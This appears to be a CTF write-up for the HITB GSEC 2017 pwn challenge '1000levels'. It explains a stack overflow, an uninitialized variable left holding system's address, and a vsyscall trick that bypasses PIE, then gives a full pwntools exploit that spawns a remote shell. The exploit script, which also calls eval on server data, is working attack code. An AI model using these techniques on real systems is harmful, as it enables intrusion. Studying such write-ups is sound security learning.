[HITB GSEC Singapore 2017] [Pwn] 1000levels
27 Aug 2017Description
It’s more diffcult.
nc 47.74.147.103 20001
Analysis
Firstly, I check this file
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
This program have some functions :
- Go
 - Hint
 - Give up
 
After open file in IDA. It’s easy to see the first vuln : bof
for ( i = read(0, &buf, 1024uLL); i & 7; ++i )
        *(&buf + i) = 0;
With this vuln, you can ret to anywhere. But PIE enabled, so you can’t ret to any addr in program to leak stack or libc.
Suddenly, i remember a trick to bypass this PIE. Using vsyscall. The addr of vsyscall static in kernel. It just has some gadget to ret to the next addr in stack. If the next addr is in libc , You can overwrite some byte to return to addr you want in libc. But the line *(&buf + i) = 0; prevent you to do it.
I was stuck at this for a long time …
Then my bro in my team told me that i should debug more carefully at the step input number.
 puts("How many levels?");
  v2 = read_num();
  if ( v2 > 0 )
    v5 = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = read_num();
  v5 = v5 + v3;
if v2 <=0 then v5 uninitialized . Actually,  I had seen this vuln before, but i have no idea to do with it. Then i realized i haven’t used the function Hint yet.
if ( show_hint )
  {
    sprintf(&v1, "Hint: %p\n", &system, &system);
  }
This case never come true ‘cause you can’t change the value of show_hint. But after run this function, the libc function system will be in stack ! And more magicly is it’s in the addr of v5. So everything will easy now.
My exploit scenario :
- Run 
Hint - Run 
Go- Input 
<=0number at first time - Input the distance from 
systemaddr to theone_gadgetaddr in libc (causev5 = v5 + v3) - Pass some levels to come nearly 
v5addr - Use bof vuln and vsyscall to ret to 
v5addr - Get shell and cat flag !!!
 
 - Input 
 
After debugging and calculating,i realized that after pass 997 levels, rsp will be near  v5 address.
Exploit code :
from pwn import *
vsyscall=0xffffffffff600000
one_gadget=0xf0274 # this offset conditions fit to this program
libc=ELF('libc.so.6')
def main(argv):
	if len(argv)<2:
		r=process('./1000levels')
	else:
		r=remote('47.74.147.103',20001)
	#pause()
	# Hint
	r.recvuntil('Choice:')
	r.sendline('2')
	# Go
	r.recvuntil('Choice:')
	r.sendline('1')
	r.recvuntil('levels?')
	r.sendline('-1')
	r.recvuntil('more?')
	to_one_gadget=one_gadget-libc.symbols['system']
	r.sendline(str(to_one_gadget))
	log.info('Calculating ... ')
	for i in xrange(997):
		r.recvuntil(': ')
		data=r.recvuntil(' =')
		#print data
		d=eval(data[:len(data)-1])
		r.recvuntil('Answer:')
		r.sendline(str(d))
	log.info('Done')
	#pause()
	r.recvuntil('Answer:')
	pl=""
	pl+="0"*56+p64(vsyscall)*23
	r.send(pl)
	
	r.interactive()
main(sys.argv)

I can’t solve this challenge in the contest, and my team have no pwn : (. But at least, i learned many things from this challenge and the contest.
Thank you Peternguyen for the hint and my teammate QD .
Congratz the HITB GSEC CTF runner-up Injocker10K from my team !